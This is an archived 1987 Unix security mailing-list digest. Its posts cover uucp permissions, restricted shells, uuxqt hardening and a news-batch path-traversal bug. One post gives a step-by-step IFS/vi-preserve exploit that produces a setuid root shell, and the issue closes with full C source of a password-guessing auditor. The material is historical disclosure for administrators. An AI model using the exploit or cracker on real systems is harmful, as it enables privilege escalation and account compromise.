The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #32 1987-06-02 (1 file, 9780 bytes)
SOURCE: http://securitydigest.org/exec/display?f=unix/archive/032.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Tue, 2 Jun 87 08:49:15 mdt
Subject: # 32 - Security Mailing List

----------------------------------------------------------------------------

Editor's corner.

It looks like the new mailing scheme is working -- many people reported
not receiving #28 or #29 -- meaning #31 made it to them.  I will be
reposting #28 and #29 entirely as they seem to have not made it many
places.  I got very few bounced messages from the last mailing so I
think things are finally in good shape!

[I would have to say that.  This is a repost of #32 because the first one
didn't make it very far.  Crashed seismo no less.  What happened was I
was fiddling with Isis's mail system to handle this voluminous list, and
#32 left without a "From " line (it had a "From:" line but that isn't
what matters).  Seismo choked on this.  Fascinating that such a problem
wouldn't have been noticed until now...  Anyway, here is #32 again; apologies
if you've seen it before.]

I have a theoretical question, not one that I want a hundred answers to
but only answers from specific people.  My question is how many mailers
out there have the limit of 32Kbytes for a message length.  I've been
careful to keep all messages under this, but if there is nobody out there
that this affects then I'll cease to worry about it.  Thus I'd like to
hear from people who KNOW their system cannot handle messages larger than
32K.  (Send the responses to 'sec-request', not 'security' so I don't publish
them.)


Newcomers to the list since last issue:
        Joseph B. Hamlin (hamlin@afit-ab.arpa)
        Pat Barron (pdb@sei.cmu.edu)
        William Gilroy (wmg@erc3ba)
        Capt. Geoff Mulligan (geoff@usafa.arpa)
        Alan Judge (ajudge@tcdmath)
        Bill Hargen (hargen@pdn)

----------------------------------------------------------------------------

From: dwon!honey@citi.umich.edu
Date: 22 Mar 1987 09:04 EST
Subject: breakins

roy,

your description of a breakin was thorough and interesting.  but among
your "words to the wise," you neglected to recommend prohibiting remote
uucp access to /etc/passwd!

in bsd and pre-svr3 uucp, this is controlled in the USERFILE file.  i
forget exactly what the incantation is to limit remote access to the
file system.  (and it's too easy to get wrong, which is probably why
many sites just say ", /" and the hell with it.)

in honey danber, remote requests are controlled by the boolean REQUEST
variable in the Permissions file: if set to NO, remote receive commands
are prohibited by the local slave.  the SENDFILES variable is related:
if set to NO, a local slave declines to become master if the remote
placed the call.

if remote receive commands are allowed, the READ and NOREAD path
variables give fine grained control, but for most uucp hosts, it's
generally wiser, and no great incovenience, to prohibit remote receive
commands altogether.

        peter

obtw, if you haven't seen Permissions before, it gives control on a
logname-by-logname basis over various uucp parameters.  here are the
defaults for for the variables mentioned above:

        REQUEST=NO
        SENDFILES=NO
        WRITE=/usr/spool/uucppublic READ=/usr/spool/uucppublic

this is perhaps too restrictive.  i always enable SENDFILES, since it
is generally benign, and frequently required by real world circumstances,
as that's what polling is all about.



----------------------------------------------------------------------------

Date: Mon, 23 Mar 87 09:21:05 est
From: Bruce G Barnett <rochester!steinmetz!barnett>
Posted-Date: Mon, 23 Mar 87 09:21:05 est
Subject: security questions on generic accounts


Here is a question I have for Sun 3.2 and Ultrix 1.2 (and 2.0) Ultrix systems.

        We would like to set up a network service for providing
the ability to use Elan's DITROFF, which is licensed for one system, from any
Ultrix or Sun machine on our network. We would like to do this without
creating hundreds of accounts on the Sun workstation.

        Two simple methods are:

                Have a password of '*' on the dummy account and have
                a list of people in the .rhost file, who can use the account.
                (This list of people/machines would include hundreds of 
                combinations)
        
                Have no password in the account, and have a special version
                of the .profile/.login/.cshrc that traps signals, and
                only allows certain commands.

It seems to me that this is insecure because people could then do:

        rsh machine -l dummy-user chmod .profile
        rcp .profile machine.dummy-user:
and then
        rlogin machine -l dummy-user

Another solution is to use the restricted shell on the Sun.
(I don't believe this is available on Ultrix 1.2)
To review my understanding of it, I would set it up as follows:

        ln /bin/sh /bin/rshell
        change /bin/{c}sh to /bin/rshell in the dummy user's password entry
        create a /secure-bin directory with just the commands needed to
                execute the tbl/eqn/nroff/troff/spell programs and scripts
                What would be NOT included is chmod, cp, ln, and some others.
                I would think it should not be writable by the dummy user.
                (this part would require the most head-scratching.)
        edit the .profile to set the search path to only point to /secure-bin
        Also add a trap 'exit 1' 0 1 2 3 15 to the .profile as the
                first command.
        chmod the .profile to 400

Now - Sun's restricted version of sh does not allow:

        execution of commands starting with '/'
        redirection of standard output

So my questions are:

        Is the approach I am taking secure? or 95% secure? Is there a better
approach? (I may be willing to settle for a 95% secure method - because this
doesn't grant root access. But as our policy is to not allow password-free
accounts - we need to justify this deviation from policy.)

        Is there a secure method of doing this for Ultrix, which doesn't
(as far as I know) have the restricted shell? If so, how was it done?
Does it require writing a program? Does anyone have a program
that is suitable for hacking?

        Does anyone have some examples on how they solved this
problem?  (This might save me a bit of head scratching and testing.)
Which commands should I leave from the special bin directory?
(besides chmod, ln, cp, rm, and mv)?
        

                        Bruce G. Barnett 
barnett@ge-crd.arpa, barnett@steinmetz.uucp
        ...!{chinet,rochester}!steinmetz!barnett

[I don't know about Sun's restricted shells, but most r-shells are
beatable in some manner (if you allow cc as a command for example...).
For maximum security you could write a simple shell in C that they log
into (via /etc/passwd, not via .login/.profile).  Then you have complete
control over what they can/can't do.]

----------------------------------------------------------------------------

From: hplabs!pyramid!utzoo!henry
Date: Mon, 23 Mar 87 11:37:32 pst
Subject: Roy's breakin

> ... The way to minimize the damage is to be careful about what files and
> directories are accessible by uucp, and what commands are executable...

This brings to mind a couple of things I did here about tightening up uucp
security.  (Well, uux security to be precise.)

1. The original uuxqt code tried to pull apart the command so that it could
check the names of all programs requested.  There were bugs in this, since
the shell's command parsing is non-trivial and duplicating it exactly is
not simple.  After seeing several bug fixes plugging holes in this, I decided
that I was never going to be convinced that the *last* hole had been filled.
This all seemed a bit silly and pointless, since most sites permit nothing
but mail and news transmission, and those don't require the full generality
of shell commands.  So I changed our uuxqt so that (subject to an ifdef) it
rejected *all* execution requests that contained any funny characters.  The
set of forbidden characters has to be chosen with care because of the
bizarre things that can show up in mail addresses; what I finally settled
on was any character outside the printable range (' ' through '~' on ASCII
machines) and the list "$&()*;<>?[\\]^`{|}".  This has caused no problems
while plugging the various "imbedded command" holes completely (I think).

2. The original uuxqt code uses /bin:/usr/bin as the PATH for searching
out remote commands.  This too is silly and pointless on most sites.  Since
only mail and news relaying (and maybe one or two other things) are
legitimate, and the commands for those are essentially never invoked by
human beings (when was the last time *you* invoked rnews or rmail?), there
is no reason why said commands should be in the normal command directories.
So our uuxqt specifies /usr/lib/uucp/netbin as the PATH, and the commands
that can be executed remotely live in there.  (They are all shell files
that invoke things like mail and news and then check to see whether they
worked or not, with appropriate error reporting if they didn't.)  Some
day when I feel like hacking it, I'll remove the list of permitted commands
from uuxqt -- it's no longer necessary, since uuxqt cannot find anything
but legitimate remote commands.  (The checking code is not entirely
unneeded, since it still needs to worry about things like full pathnames,
but it no longer needs to have a list of what's allowed and what isn't.)

                                Henry Spencer @ U of Toronto Zoology
                                {allegra,ihnp4,decvax,pyramid}!utzoo!henry



----------------------------------------------------------------------------

Date: Mon, 23 Mar 87 22:27:36 mst
From: isis!pyramid (John Kellar)
Subject: More IFS fun

        Here is a submission to your security mailing list that I think
you will find interesting. (P.S. it works on the Pyramid as well as
at least 1 VAX 11/780 (under 4.2BSD) and probably any other machine that runs vi
and implements Berkely style job control).

BEGIN
*****
create a file called bin in your "." directory, use this form

IFS=" ^I"
export IFS
cp /bin/yourfavoriteshell ./yoursetuidshell
chmod 4755 ./yoursetuidshell

make the local file called ./bin executable

execute /bin/sh
do
        IFS=/
        export IFS
        vi somefilename
                insert some characters in the file 
                end insert mode
        suspend execution of vi (use ^Z)
do a ps
        find the pid of the suspended vi job
do a kill -1 yourvijob
when preserve runs (to save the buffer it thinks just crashed with vi)
it will execute your ./bin for you (thanks to IFS)

voila! instant setuid to root shell!
nuff said.....

        Regards,
        John K.

P.S. this has been fixed in release 4.0 of OSx and 4.3BSD
        although fixed differently since in OSx we fixed IFS
        while in 4.3 it now checks your real id versus
        the effective id before allowing you to do setuid
        both are effective. Next time I'll send you a real
        nasty one that checks for open file descriptors
        left by setuid programs and scribbles on them for you.
        (Andrew you won't believe how many programs that run setuid
        leave open file descriptors during execution)   


----------------------------------------------------------------------------

Subject: Security member list.
From: seismo!enea!sal.UUCP!jf (Johan Finnved)
Organization: Objecta Electronic & Data, Sweden
Date: Mon, 23 Mar 87 12:12:25 MET

In a version of the news batching software that we received last summer
the idea was that unbatch could execute any program in
/usr/lib/news/batchdir. It did so by concatenating "/usr/lib/news/batchdir"
with the name following "#! " in the newsbatch. There was no checking
for "../" in the name so you could send a newsbatch to a target and
execute any command on that machine (as user news probably).
By running ../../../bin/sh you could also construct a news-batch that
fed part of itself to a site further away. If this bug is well distributed
a cracker could exploit it as an underground network sending commands to
be executed at any system and sending the result anywhere. Beware.

                Johan Finnved <jf@sal.UUCP>



----------------------------------------------------------------------------

Date: Tue, 24 Mar 87 16:31:53 PST
From: hplabs!cae780!tektronix.TEK.COM!teklds.TEK.COM!setha (Seth D. Alford)
Subject: submission to security list


I submitted this about the time that the security mailing list became
inactive.  Here it is again.  I think that it is still of interest
given the discussion in issue #26.  I recommend running this once
per week.  This is a modified version of the program which originally
appeared on the security mailing list.  I call this program pwchkr.c

--Seth Alford
Tektronix Walker Road, PO Box 4600, MS 92-823, Beaverton OR 97075
..!tektronix!teklds!setha or setha@teklds.TEK.COM (503)-629-1145

[This is the third version of this -- the first one and this one are
apparently very similar (this one adds password aging); I would recommend
making the changes between this one and the first one to the second one.
If that makes any sense.]

-----------------------cut here------------------------
#include <stdio.h>
#include <pwd.h>
#include <ctype.h>

#ifndef lint
static char *rcsid = "$Header: pwchkr.c,v 1.2 85/11/30 22:42:07 richl Exp $";
#endif

/*
 * Warning: this program burns a lot of cpu.
 */
/*
 * pwchkr - find accounts with poor passwords
        Date: Tue, 29 Nov 83 18:19:32 pst
        From: leres%ucbarpa@Berkeley (Craig Leres)
            Modified by Seth Alford, Roger Southwick, Steve Dum, and
            Rick Lindsley for Tektronix
 */

/*
 *      $Log:   pwchkr.c,v $
 *      Revision 1.2  85/11/30  22:42:07  richl
 *      Added code to allow for password aging.
 *      
 *      Revision 1.1  85/09/10  16:00:56  root
 *      Initial revision
 *      
 *
 * By default, this program only checks for accounts with passwords the same
 * as the login name. The following options add more extensive checking. (The
 * tradeoff is cpu time -- with all options enabled it can run into the 100's
 * of MINUTES.) Any argument that does not begin with a "-" is assumed to be
 * a file name. (A single '-' means stdin.) If no file name is given,
 * /etc/passwd is used.
 *
 * Options:
 *
 *              -v:     verbose -- list all guesses on stdout
 *              -u:     output teh username on the line of the password file
 *                      currently being checked. If the program stops
 *                      abruptly you will then know how far it got.
 *              -w file: use the list of words contained in "file" as likely
 *                      passwords. Words in the file are one to a line.
 *              -b:     check all guesses backwards too
 *              -g:     use the Full Name portion of the gecos field to
 *                      generate more guesses
 *              -s:     check the single letters a-z, A-Z, 0-9 as passwords
 *              -c:     with each guess, check for all-lowercase and
 *                      all-uppercase versions too.
 *              -n:     complain about null passwords (default is to keep quiet)
 *              -p:     print the password when guessed
 */

int verbose = 0, singles = 0, backwards = 0, checkgecos = 0, checkcase = 0,
    chknulls = 0, printit = 0, users = 0, chkwords = 0;

char *index(), *reverse();
long atol();
FILE *fopen();
char *fgets();

char PASSWD[] = "/etc/passwd";
char EMPTY[] = "";
static FILE *pwf = NULL, *wlf = NULL;
char line[BUFSIZ+1];
struct passwd passwd;
char    *Curpw, *Wordlist = NULL;

main(argc, argv)
char **argv;
{
    register int i;
    register char *arg;
    int onedone = 0;

    if (getuid()) {
        printf("Did you really think we would let you run this?\n");
        exit(1);
        }
    for (i = 1; i < argc; i++)
        if ((arg = argv[i]) && *arg == '-')
            while (*++arg) {
                switch (*arg) {
                    case 'n':
                        /*
                         * complain about null passwords
                         */
                        chknulls++;
                        break;
                    case 'c':
                        /*
                         * check cases
                         */
                        checkcase++;
                        break;
                    case 'g':
                        /*
                         * use gecos
                         */
                        checkgecos++;
                        break;
                    case 'v':
                        /*
                         * turn on motormouth
                         */
                        verbose++;
                        break;
                    case 'b':
                        /*
                         * check all attempts forwards and backwards
                         */
                        backwards++;
                        break;
                    case 's':
                        /*
                         * carry out a more intensive search, checking for
                         * single letter passwords
                         */
                        singles++;
                        break;
                    case 'p':
                        /*
                         * print out the password when found
                         */
                        printit++;
                        break;
                    case 'u':
                        /*
                         * print out users as testing
                         */
                        users++;
                        break;
                    case 'w':
                        /*
                         * consult word list of likely passwords
                         */
                        if ((Wordlist = argv[i+1]) == NULL) {
                            fprintf(stderr,
                                "%s: No file supplied with -w option\n",
                                argv[0]);
                            exit (1);
                            }
                        argv[i+1] = NULL;
                        break;
                    case '\0':
                        /*
                         * read from stdin
                         */
                        break;
                    default:
                        fprintf(stderr,
                            "%s: unknown option '%c'. Options are:\n",argv[0],
                            *arg);
                        /* FALL THRU */
                    case '-':
                        fprintf(stderr,"-v:\t\tverbose -- list all guesses on stdout\n");
                        fprintf(stderr,"-u:\t\toutput the username currently being checked\n");
                        fprintf(stderr,"-w file:\tconsult the indicated file for words to check as passwords\n");
                        fprintf(stderr,"-b:\t\tcheck all guesses forwards and backwards\n");
                        fprintf(stderr,"-g:\t\tuse the Full name portion of the gecos field for more guesses\n");
                        fprintf(stderr,"-s:\t\tcheck the single letters a-z, A-Z, 0-9 as passwords\n");
                        fprintf(stderr,"-c:\t\tcheck the all-upper and all-lower case version of each guess\n");
                        fprintf(stderr,"-n:\t\tcomplain about null passwords\n");
                        fprintf(stderr,"-p:\t\tprint the password when guessed\n");
                        exit(1);
                    }
                argv[i] = NULL;
                }
    
    for (i = 1; i < argc; i++) {
        if (argv[i] == NULL) continue;
        onedone++;
        if (*(argv[i]) == '-') {
            /*
             * read from stdin; we'll cheat and set pwf directly
             */
            pwf = stdin;
            chkpw();
            /*
             * don't fclose stdin!
             */
            clearerr(stdin);
            }
        else {
            if (setpwent(argv[i])) {
                perror(argv[i]);
                continue;
                }
            Curpw = argv[i];
            chkpw();
            endpwent();
            }
        }
    if (!onedone) {
        Curpw = NULL;
        chkpw();
        }
    exit(0);
}

#define ARB_CONST       3000

chkpw()

{
    register char       *cp, *cp2;
    register struct passwd *pwd;
    struct passwd       *getpwent();
    char                guess[100];
    char                *wordarray[ARB_CONST];
    char                *malloc(), **wordptr, **endptr;
    int                 done = 0;


    if (Wordlist)
    {
        if ((wlf = fopen(Wordlist,"r")) == NULL)
        {
            perror(Wordlist);
            exit(1);
        }

        wordptr = wordarray;
        /*
         * note that endptr points to space OUTSIDE of wordarray
         */
        endptr = wordarray + (sizeof(wordarray)/sizeof(char *));

        while (fscanf(wlf,"%[^\n]\n",guess) != EOF)
        {
            if (wordptr == endptr)
            {
                fprintf(stderr,"Ran out of wordlist space. ARB_CONST %d must be too small.\n", ARB_CONST);
                exit(1);
            }
            if ((*wordptr = malloc(1+strlen(guess))) == NULL)
            {
                fprintf(stderr,"malloc: no more memory for wordlist\n");
                exit (1);
            }
            strcpy(*wordptr,guess);
            wordptr++;
        }
        *wordptr = NULL;
    }

    while ((pwd = getpwent()) != 0 ) {

        if (verbose || users) {
            if (Curpw == NULL)
                printf("\t%s \"%s\"\n", pwd->pw_name, pwd->pw_gecos);
            else
                printf("%s -- \t%s \"%s\"\n", Curpw, pwd->pw_name,
                    pwd->pw_gecos);
            fflush(stdout);
            }
        if (*pwd->pw_passwd == '\0') {
            if (chknulls) {
                if (Curpw == NULL)
                    printf("Problem: null passwd:\t%s\tshell: %s\n",
                        pwd->pw_name, pwd->pw_shell);
                else
                    printf("%s -- Problem: null passwd:\t%s\tshell: %s\n",
                        Curpw, pwd->pw_name, pwd->pw_shell);
                fflush(stdout);
                }
            continue;
        }
        /*
         * Try the user's login name
         */
        if (uandltry(pwd,pwd->pw_name))
            continue;

        /*
         * Try names from the gecos field
         */
        if (checkgecos) {
            strcpy(guess, pwd->pw_gecos);
            cp = guess;
            if (*cp == '-') cp++;               /* special gecos field */
            if ((cp2 = index(cp, ';')) != NULL)
                *cp2 = '\0';

            for (;;) {
                if ((cp2 = index(cp, ' ')) == NULL) {
                    if (uandltry(pwd,cp))
                        done++;
                    break;
                    }

                *cp2 = '\0';

                if (uandltry(pwd,cp)) {
                    done++;
                    break;
                    }
                cp = ++cp2;
                }
            }
            
        if (!done && Wordlist)
        {
            /*
             * try the words in the wordlist
             */
            wordptr = wordarray;
            while (endptr != wordptr)
            {
                if (*wordptr == NULL)
                    break;
                if (uandltry(pwd,*wordptr++))
                {
                    done++;
                    break;
                }
            }
        }
        if (!done && singles) {
            /*
             * Try all single letters
             * (try digits too .  --Seth)
             */
            guess[1] = '\0';
            for (guess[0]='a'; guess[0] <= 'z'; guess[0]++)
                if (try(pwd,guess))
                    break;
            for (guess[0]='A'; guess[0] <= 'Z'; guess[0]++)
                if (try(pwd,guess))
                    break;
            for (guess[0]='0'; guess[0] <= '9'; guess[0]++)
                if (try(pwd,guess))
                    break;
            }
    }
}

/*
 * Stands for "upper and lower" try.  Calls the "real" try, below,
 * with the supplied version of the password, and with
 * an upper and lowercase version of the password. If the user doesn't
 * want to try upper and lower case then we just return after the one
 * check.
*/

uandltry (pwd,guess)
char *guess;
struct passwd *pwd;
{
    register char *cp;
    char buf[100];
    int alllower, allupper;

    alllower = allupper = 1;

    if (try(pwd,guess) || (backwards && try(pwd,reverse(guess)))) return (1);

    if (!checkcase) return(0);

    strcpy (buf, guess);
    cp = buf-1;
    while (*++cp) {
        if (isupper(*cp))
            alllower = 0;
        if (islower(*cp))
            allupper = 0;
        }

    if (!allupper) {
        for ( cp=buf; *cp != '\0'; cp++)
            if (islower (*cp))
                *cp += 'A' - 'a';

        if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
        }

    if (!alllower) {
        for ( cp = buf; *cp != '\0'; cp++)
            if (isupper (*cp))
                *cp += 'a' - 'A';

        if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
        }
    return (0);
}

try(pwd,guess)
char *guess;
register struct passwd *pwd;
{
    register char  *cp;
    char   *crypt ();

    if (verbose) {
        if (Curpw == NULL)
            printf ("Trying \"%s\" on %s\n", guess, pwd -> pw_name);
        else
            printf ("%s -- Trying \"%s\" on %s\n", Curpw, guess,
                pwd -> pw_name);
        fflush (stdout);
        }
    if (! guess || ! *guess) return(0);
    cp = crypt (guess, pwd -> pw_passwd);
    if (strcmp (cp, pwd -> pw_passwd))
        return (0);
    if (Curpw == NULL)
        if (printit)
            printf ("Problem: Guessed:\t%s\tshell: %s passwd: %s\n",
                pwd -> pw_name, pwd -> pw_shell, guess);
        else
            printf ("Problem: Guessed:\t%s\tshell: %s\n", pwd -> pw_name,
                pwd -> pw_shell);
    else
        if (printit)
            printf ("%s -- Problem: Guessed:\t%s\tshell: %s passwd: %s\n",
                Curpw, pwd -> pw_name, pwd -> pw_shell, guess);
        else
            printf ("%s -- Problem: Guessed:\t%s\tshell: %s\n",
                Curpw, pwd -> pw_name, pwd -> pw_shell);
    fflush (stdout);
    return (1);
}
/* end of PW guessing program */

#define MAXUID 0x7fff   /* added by tonyb 12/29/83 */
                        /* altered to a reasonable number - mae 8/20/84 */

/*
 * Add a parameter to "setpwent" so I can override the file name.
 */

setpwent(file)
char *file;
{
        if ((pwf = fopen(file,"r")) == NULL)
            return(1);
        return(0);
}

endpwent()

{
    fclose(pwf);
    pwf = NULL;
}

char *
pwskip(p)
register char *p;
{
        while(*p && *p != ':' && *p != '\n')
                ++p;
        if(*p == '\n')
                *p = '\0';
        else if(*p)
                *p++ = '\0';
        return(p);
}

struct passwd *
getpwent()
{
        register char *p;
        long    x;

        if(pwf == NULL)
            if (setpwent(PASSWD)) {
                perror(PASSWD);
                return(NULL);
                }
        p = fgets(line, BUFSIZ, pwf);
        if(p == NULL)
                return(0);
        passwd.pw_name = p;
        p = pwskip(p);
        passwd.pw_passwd = p;
        p = pwskip(p);
        x = atol(p);    
        passwd.pw_uid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
        p = pwskip(p);
        x = atol(p);
        passwd.pw_gid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
        passwd.pw_comment = EMPTY;
        p = pwskip(p);
        passwd.pw_gecos = p;
        p = pwskip(p);
        passwd.pw_dir = p;
        p = pwskip(p);
        passwd.pw_shell = p;
        (void) pwskip(p);

        p = passwd.pw_passwd;
/*      while(*p && *p != ',')
                p++;
        if(*p)
                *p++ = '\0';
        passwd.pw_age = p;
*/ 
        return(&passwd);

}


/*
 * reverse a string
 */
char *reverse(str)
char *str;

{
    register char *ptr;
    register int len;
    char        *malloc();

    if ((ptr = malloc((len = strlen(str))+1)) == NULL)
        return(NULL);
    ptr += len;
    *ptr = '\0';
    while (*str && (*--ptr = *str++))
        ;
    return(ptr);
}


----------------------------------------------------------------------------

                        The UNIX Security Mailing List

                 Ignore the headers on this list and mail to:
                  ...!hao!isis!security (mail for the list).
                  ...!hao!isis!sec-request (administrativia).

END OF DOCUMENT